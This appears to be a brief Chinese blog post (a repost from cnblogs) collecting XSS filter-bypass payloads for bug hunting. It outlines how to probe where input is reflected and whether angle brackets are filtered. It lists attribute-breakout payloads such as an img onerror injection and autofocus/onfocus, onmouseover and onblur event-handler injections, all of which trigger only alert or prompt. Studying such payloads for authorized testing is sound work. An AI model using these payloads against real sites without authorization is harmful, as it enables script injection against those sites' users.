标签：高级 0x03 测试 seo 输出 场景 src 学习 class
晚上看了一下bypass 的一些套路，罗列了一下各种情况的payload好让挖洞可以直接用，看着看着就被朋友拉去挖洞了。。。当然也是针对xss
这里先总结下几种测试情况，以及挖洞过程测试xss的步骤方法。。。当然我之前挖到的xss都是没有waf的情况属于随缘挖洞，一些高级的bypass技巧在挖洞过程中的应用还是希望和大家探讨
首先输入常规的标签 看看输出位置 ，看看对常规的标签的过滤，再试试<a这种是否过滤尖括号
再看看其他的。。。
<input value="" type=text>比如这种在value中的输出
<input value="XSStest" type=text>
"><img src=x onerror=prompt(0);>
过滤尖括号
" autofocus onfocus=alert(1)//
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="睡觉睡觉
标签：高级 0x03 测试 seo 输出 场景 src 学习 class
原文地址：https://www.cnblogs.com/spark-xl/p/9094917.html
